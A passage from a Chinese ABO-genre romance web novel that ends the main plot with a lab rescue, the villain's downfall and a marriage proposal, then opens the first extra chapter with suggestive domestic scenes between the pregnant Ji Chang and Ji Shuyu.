他不该在季舒虞受了重伤的情况下吻她这么久,如果为此错过了最佳治疗的时间,他不会留下季舒虞一个人的。 他不是没有濒死过,但头脑清晰,从来没有过这样痛彻心扉的感觉,季尝甚至觉得自己快要解脱了,可他无法想象自己会失去季舒虞。 这样强大的女人,她们从来没有分出过胜负,她也会死吗? 他曾经拼尽全力、费尽心思要杀死的人,眼下真的要死在他面前了。 季尝没有预想中的痛快。 他的心像是被无数虫子啃噬,整个人马上就会因为过度心痛而死掉。 “别死,别丢下我一个人。” 空荡荡的实验室,他呜咽的声音显得那么凄凉。 救援队还没有来。 早在最开始,文青山一队就兵分两路,一队将消息“不小心”泄露给了一家媒体。 这家媒体备受压迫多年,但消息够真实也够大胆,信誉极佳,有许多支持者,这样重磅的消息自然要放出去 而媒体的管理者一家,曾经遭受过季高的不公,甚至残忍对待。 积怨已久。 另一队潜入了早就定位的主文件方向,控制了一众相关人员。 实验室是黑暗的,时不时有红灯闪烁,微弱的光芒让季尝更加不安。 他尽力冷静下来,撕开自己作战服内里的衣物,给她包扎伤口。 小腹传来一阵阵痛楚,他额角都渗出了冷汗。 “荔枝乖,再、坚持一下。”他的声音低微,不知道是在安慰荔枝,还是在安慰自己。 这里没有信号,他甚至不能把消息发出去。 季尝感到了前所未有的害怕。 他害怕失去季舒虞,失去荔枝。 只是相对会有这样的可能性,季尝的心脏就会停止跳动,他不能接受这样的结果。 嚓嚓的脚步声传来。 季尝几乎屏住了呼吸,几乎同一时间拔枪,瞄准了实验室。 只要有可疑生物走近,就会被他一枪毙命。 但眼前的景象很快令他瞪圆了眼睛,是一群异种,她们破坏了实验室,启动了实验室的防御机制,不知道从哪里关押的异种们跑了出来。 它们像是饿了很长时间,现在闻到血腥味,都慢吞吞地朝着这边走过来。 “喀喀……” 异种拧动脖子,发出骨骼错位的声音,朝着这边走来。 季舒虞的体温逐渐冷了下去。 他已经把搜刮出的治愈针剂给季舒虞注射进去,但仍旧没有任何反应。 季尝抱紧了怀中的爱人。 砰—— “第三小队,快!” “已锁定。” “先救人,长官和执行官还在里面!” 异种听到新的动静,知道眼前的两人没有时间与机会再动,朝着前来支援的第三小队而去。 季尝抱着她,声音有些颤抖,轻轻拍着她:“没事了,没事了……” 季高死了。 血清有剧毒,不仅如此,因为反应的时间不够,甚至里面还有许多致使人类转换为异种的元素,确切来说,季高已经不存在,取而代之的,是有着他容貌的异种。 季高最渴望、最不肯放手的东西,在他注射了那管蓝色血清后,不再存在。 人们眼中德高望重的首席元老,居然暗地里残害公民,季高身败名裂,而变成异种,自然也失去了他的权利,所有的财产也已经不属于他。 变成异种的前首席元老被带去实验室做研究。 季舒虞的人帮他提前立了遗嘱,他名下的大部分财产、季家话事人的位置也该由季舒虞接手。 但那天她没有出席,而是以最高指令转给季尝,给出的回应是:“太忙,家族事务顾不上。” “简直胡闹,季家话事人的位置也能随随便便就给人?” 不过外界的传言不重要,季尝很快就让这些不满的声音再不敢出现。 在皇室的暗中推动下,季舒虞起草委员会。 傍晚,季尝带着鲜花来私人医院看他:“恭喜首席执行官大人,成为最高权力的规则制定者,感觉如何?” 芯片取出的成功率太低,这是一项植入简单,取出却几乎不可能的任务。 但成为首席执政官,就没人再能用规则束缚她。 “还不错,你呢,首席执行官?” “不要打趣我,”季尝放下那捧花,“我们一定要在这里称职务吗?” 花很香,也很明艳,季舒虞收回视线,关切他的身体:“你感觉怎么样?” “荔枝很活泼,”提起宝宝,他不由自主地勾起唇角,却带着嗔怪,“跟你一样,真是烦人啊……” “我很担心你,季尝,我不希望你有事,可我不能因为我的一己私欲,让更多的百姓陷入危机,”季舒虞声音很疲倦,看着眼前的爱人,“你也是,对吗?” 季舒虞相信,这点她们是一样的。 这次把危险控制在了40%,已经很不错了。 总比没有好。 这次他也坚定地选择了季舒虞,所以赴季高的鸿门宴那天,他只说:“S+级任务,我们要活着回来”。 季尝俯身,吻了吻她的额头:“你做的没错,亲爱的,快点好起来,宝宝很想你。” “那你呢?”季舒虞看着他。 “我……”季尝顿了顿,哼笑一声,“我才不想你,想你做什么?” 他起身要离开,却被季舒虞抓住了手腕。 季尝下意识回头:“你做什……” “坐下,送给你一个礼物。”她微微笑了一瞬。 季舒虞很少微笑,这样的表情在前些年更是不可能出现在她的脸上。 自从和季尝默认了关系,好像笑起来的次数更多了一些,她笑起来很漂亮。 季尝不可否认,自己的心脏可能在那一瞬漏了一拍,他是真的很喜欢季舒虞,不论是生理,还是心理。 他坐在季舒虞身边,今天穿了一件奶茶色的薄毛衣,看着有些乖巧。 是在静静等待她说的那个礼物。 这次要送给季尝的东西,她准备了很久,季舒虞打开精致的小盒子。 一颗耀眼的,琥珀色的戒指,就这么被她戴在季尝的指根。 “我觉得你会喜欢。”她握着季尝不那么热的手。 “我很喜欢,”他垂着眼睫,弯了弯嘴角,“从来没有这么喜欢过。” “……刚刚骗你的,其实我也很想你。”一会,他轻声补充。 季舒虞与他十指紧扣:“嗯,我知道。” 季尝静静地看着两人牵在一起的手,等了很久,突然抬起眼睛,问:“那你没有什么别的想对我说的吗?” 她扬了扬眉头,看着季尝:“说什么?” “比如,”他轻轻皱了一下眉头,看着她有点微不可查的探究与期盼,“一般送戒指不都是……算了,没什么。” “小叔不说,我怎么知道小叔想要听什么呢?”季舒虞指腹摸索着他柔软的手背。 季尝莫名就觉得,她好想知道自己想听什么。 现在只是在等着他自己说出来,然后饶有兴致的看着他,看他出丑。 季尝要甩开她的手,但甩了一下,发现她握得很牢,根本甩不开,于是恶狠狠地说:“我讨厌你。” “又讨厌我?那怎么办,可我很爱你,”季舒虞叹了口气,看着他的眼睛,郑重其事地问,“季尝,你愿意嫁给我吗?”—— 作者有话说:小鱼:大家猜我求婚成功吗? 正文完结,番外可以在vb点菜,快来找我玩[好的] 第76章 番外1 喜欢看我哭?…… 第七十六章 一个寻常的清晨, 季舒虞有一下没一下按着他腰间两个凹陷的位置,操控着光幕。 那是她们两个的个人信息。 页面已经修改,季尝的感情状况变成了已婚,她认真的、缓缓敲下两个字, 在关系一栏, 填上配偶两个字。 “你在做什么?”季尝专注地看着新文, 眼睛也不抬的问。 那是克莱德推荐给他的。 他最近公务繁忙, 一有空闲就抱着这些文看,偶尔还会露出一点笑。 以前季尝都会在她面前晃晃悠悠, 想尽办法要把她的注意力全都夺回来,肚子疼、腰疼、太困要陪, 说荔枝踢了他一脚,要季舒虞过来教训它, 诸如此类。 季舒虞藏了一半:“给你准备惊喜。” “你给我安排太多工作了, 根本忙不完, 好累,”季尝抱怨了一声, 他突然就觉得不对,手肘戳了戳季舒虞,看着光幕上的文字, “你最近的姿势, 是不是跟着这篇文做的?” 他说这几天怎么这么磨人, 这么能折腾他。 刚一抬眼, 就见季舒虞的视线早就在他的光幕上了。 季尝扬起一侧眉头, 啧了一声:“你这人怎么一点边界感都没有……吃什么呢,给我咬一口。” “……”他倒是有边界感,季舒虞抬手, 把奶片塞到他嘴里,“今天还难受吗?” 季尝这些天孕反严重,总是饿,几乎一天五顿,称之为少食多餐,又胎动频繁,总是休息不好,哪怕每天都在她怀里一点一点的补眠,前几天甚至直接晕倒了。 种种迹象都在提醒她,季尝缺少太多信息素安抚,身体状态很不稳定。 他随时有可能因为孕育这个孩子而丧命。 只有60%的存活概率,其中的危险和不可控因素太多了。 她唯一能做的,就是多给他信息素,把那一个月缺少的信息素成倍补回来。 季尝没有回答,望着她的眼睛,而后轻轻吻了一下她的嘴唇:“每次吻你,都有一种把你偷走一小点的错觉。” “那再吻一千次,是不是整个就偷走了?” “哼,我才不偷,”他哼笑了一声,渡给她一个牛奶味的吻,声音也不那么清晰,“本来也都是我的。” 牛奶的味道很香甜,季尝的唇瓣也很软。 他孕期反应很大,身体也很经不起逗弄。 她明显能察觉到掌心下,季尝的腰有些发软:“去床上……” “你又不处理公务了?”季舒虞缓缓揉捏着他的后颈,她很喜欢听季尝黏黏糊糊的声音。 “晚一点、再处理,大小姐会怪我吗?” 他总是这样,每次在床上承受不住的时候就叫停、要她滚,轻声呜咽,说什么再也不来了。 但每次吻到动情的时候,季尝总是会率先搂住她,急不可耐。 好像他从来没有说过什么再也不来了的话。 季尝的头发很长了,栗色的长发软软地披在身后,有几绺顺着他的肩膀落到身前,被她温柔地拨回耳后:“这是在撒娇吗?” 季尝的眼睛像是狐狸,弯弯的,带着水意:“你希望是吗?” 他很会撩人。 季舒虞看着他的眼睛,如果这是深不见底的海底,她也甘愿与季尝一起沉溺。 她从一个接受过特殊手术,不会产生情绪,只懂得遵守规则的实验体,到现在变成一个活生生的人,更多是季尝一手教出来的。 “为什么这么看着我?”他忽然勾起嘴角,愉悦地看着她。 季舒虞:“你对我太好了。” 季尝给她的爱,超过了她对爱这个字的理解。 “你也是,”他就环住她的脖颈,哈气湿湿热热的,“如果需要我用命来换你,我也会毫不犹豫的,都给你……” 季尝从来就是个不惜命的,但说把命给她,季舒虞不得不承认,有那么一瞬间,她确实被感动到了。 于是她轻笑一声:“小叔就这么喜欢我,甘愿把命都给我?” 季尝有些走神。 上辈子他因为失血过多,再加病发,死在了季舒虞的时空穿梭机里。 明明季舒虞那么讨厌他,在紧要关头,还是把生还的希望给了他。 他莫名就觉得季舒虞这人很懂人心和算计。 发觉再也离不开她以后,季尝慢慢回想,发觉自己可能是从那时候就变得不对劲了。 从那时起,他始终觉得自己欠了季舒虞一条命,于是嘴巴坏,但心太软的小叔,还是慢慢地落入了她给自己编织的陷阱。 或者是说,那是他臆想出的,一张精密的大网。 季尝甘愿沉沦,却不愿承认。 “唔、混账……” 他被刺激地皱起眉头,克制住下意识要攻击她的手,最终还是环紧了她的脖颈。 季尝被她打横抱起,在落到床上的时候,栗色的长发跟她的黑发纠缠。 他对季舒虞就是没什么抵抗力,像小猫见了猫薄荷,小狗见了肉骨头。 “我要在上面。” “打赢我,就让你在上面。” 浓烈的信息素毫不收敛,充斥着整个公馆。 S级Alpha和omega的信息素有着可怕的感染力,一旦散播出去,会让低阶Alpha和omega的易感期提前。 公馆被智能管家密封。 硝烟和草木的味道明明不可能同时存在,在此刻却格外和谐。 朱雀和黑蛇也在角落紧紧缠在一起,明明不是一个物种,有着生殖隔离,却缠得那么紧,明显是在帮助彼此缓解易感期的难耐。 季舒虞不禁想,从什么时候她们走到这一步的呢。 好像是她开始为季尝打破规则的时候,季常也开始为她卸下所有防备。 “别再来了,我怕我真死你床上。”季尝掌心虚虚地抵在她的心口,喘匀了气,很是难得的在床上说了一句完整的话。 一股奇异的香味勾着她俯身寻找。 季舒虞很快找到了香甜味的来源。 他不喜欢喝牛奶,不喜欢那种味道,但现在浑身上下都是这股味道。 “别闻了,别、别把孩子教坏了……” 他的声音有点抖。 季尝变得总是反悔。 他后悔刚刚自己被信息素支配,一时冲动,导致现在自己逃都逃不脱。 他原本打算在今天要一个彻底标记,但现在也不敢开口了。 季舒虞暂且放过了香甜的味道,她知道不能再继续,否则下了床季尝可能会生气。 她的掌心落在拢起的小腹上。 季尝的小腹已经有了明显的弧度,就像季尝所说的那样,荔枝很活跃,她摸到了一点动静,嗓音温和:“小叔,你身体不好,今天就到这里吧,否则第二天你吃不消。” 这个称呼在床上总是让他有点别扭,却又很刺激。 无不在提醒他,她们的关系有多复杂。 世家的叔侄、曾经的宿敌、如今的上下级、性伴侣,未来永久性的伴侣…… 季尝嘴上不说,指尖已经蜷缩起来了:“……闭嘴吧。” 她吻了吻季尝脖颈那颗细小的红痣:“早点休息。” “季舒虞,”他缓了口气,扬起脖颈,看着她,“我们结婚吧,我不希望我们的孩子顶着私生子的名头。” “再等等。” 季尝捏紧了指节:“……我不希望荔枝是私生子,季舒虞。” “嗯。” 没有得到想要的答案,于是他背过身去,蜷起身子。 这是一个拒绝交流,并自我保护的动作。 季舒虞释放出安抚信息素,从身后轻轻拥抱他,与他十指紧扣,却被季尝挣开:“滚开,别碰我。” 辛辣的信息素味道不能驱走她,季舒虞轻轻地吻他耳后的发丝,温热的呼吸让他尾椎骨都有些发麻。 不知道从什么时候开始,他习惯了依赖季舒虞,明明季舒虞的拒绝让他的心情变得很差,可闻到安抚信息素的味道,他还是忍不住想往她怀里钻。 季尝克制住这种冲动,把她的手从自己的小腹上拿开,声音很低,有点哑:“我讨厌你。” 眼泪掉在枕头上,他睫毛颤了颤,鼻子太酸了,以至于他克制不住自己的声音,泄露了情绪。 哭鼻子是一件很丢人的事,说完,他狠狠打了身后的罪魁祸首一拳。 “嗯,可我很喜欢你,季尝。”季舒虞受了这一拳,轻轻攥着他的手腕。 季尝轻轻抽了一下手腕,没有抽回来。 她是赶不走的。 他闭上湿漉漉的眼睛,脖颈被冰冷的东西环上,连尾椎骨都跟着酥麻。 “别再说讨厌我的话了,季先生。”她垂着眼睛为季尝把项链系好。 这是她很久之前就准备好的礼物。 在季尝自请调职,离开她之前。 可惜那天雨太大,他的态度又那么坚决,没有一点可回旋的余地。 礼物自然也没有送出去。 好在季尝回来了,也再也不会离开她了。 冰冷的玉石在阳光下很闪耀,季尝有些失神。 他才意识到自己被耍了。 “……我真是恨死你了,”季尝狠狠地咬她,“你就这么喜欢看我哭?” “我有没有说过,有时候你很像猫,”季舒虞一下下捏着他的后颈,换来他一阵阵战栗,“猫对人表达喜爱,会又舔又咬。” “小叔也是。” 被人摸透的感觉真是不太好,她好像有点太了解他了。 这是甜蜜的负担,季尝不由得想,将来他如果有什么计划,怎么瞒得过季舒虞呢,这太坏了。 季尝还没有想出应对的办法。 他只觉得季舒虞很可恶。 比如他已经偷偷在暗网接了B级任务,打算活动活动筋骨。 这段时间他只负责家族的事务,这些繁琐又无趣的安排,远远没有他与季舒虞交手更令他热血沸腾。 可季舒虞前几天看他看得紧,几乎是一点关乎外派的安排都不会考虑他。 季尝觉得自己要被惯坏了。 季舒虞怎么能这么惯着他。 所以在季舒虞离开前,嘱咐他好好待在家里的那些话,季尝都左耳朵听右耳朵冒,敷衍地亲了她一口:“知道了知道了,快去吧。” “……你要出门吗?”季舒虞敏锐地感觉到了一点不对劲。 季尝心脏一跳,皱着眉不可置信地看着她:“我出门做什么,这些工作根本忙不完,我更想亲力亲为,哪里有时间……” 他的视线根本不敢从季舒虞脸上挪开。 就这么小心翼翼地观察着她,一点微表情都不肯放过。 季舒虞勾唇,捧起他的脸,那双眼睛明显有一瞬间的慌乱,季尝很快闭上了眼睛。 但预想中的吻迟迟没有落下。 她笑出声来,无可奈何地看着季尝:“季尝,好好待在家里好不好,等我回家,你现在需要休息。” 季尝的确需要休息。 反正她从来没有哪家的omega先生或者beta先生跟妻子刚亲密过,几乎是一刻不停的要出门偷偷进行一些什么活动。 还不肯告诉她,装作无事发生的样子。 要不是她跟季尝近乎十年斗智斗勇,几乎要被他骗过去了。 这点季舒虞不得不承认,他演技很好。 季尝深深吸了一口气,他其实不想承认,自己被那句“好不好”说的心脏跳动的频率有些不规律,季舒虞捧着他的脸,无奈地看着他的样子,让他有一种想吻上去的冲动。 “咳咳……”他咳得惊天动地,一手扶着腰,很是不堪重负的样子,看着病弱又可怜,最后用那双湿淋淋的眼睛看着她,“快去吧,今天的会议很重要。” 这招很是有效。 季舒虞嘱咐了一些事,这次他不敢懈怠,装作认真的样子听完。 公馆的大门被紧闭。 季尝默数了十秒,当即打开通讯,发送加密信息:【来接我,避开监控设备,我被人盯着。】 吱吱—— 克莱德看到消息,猛然站了起来:“再快点,准备好武器,他有危险。”—— 作者有话说:突然发现我没有专门搞点菜区,没关系,我们心中有菜单,哪里都是点菜区[好的]《 》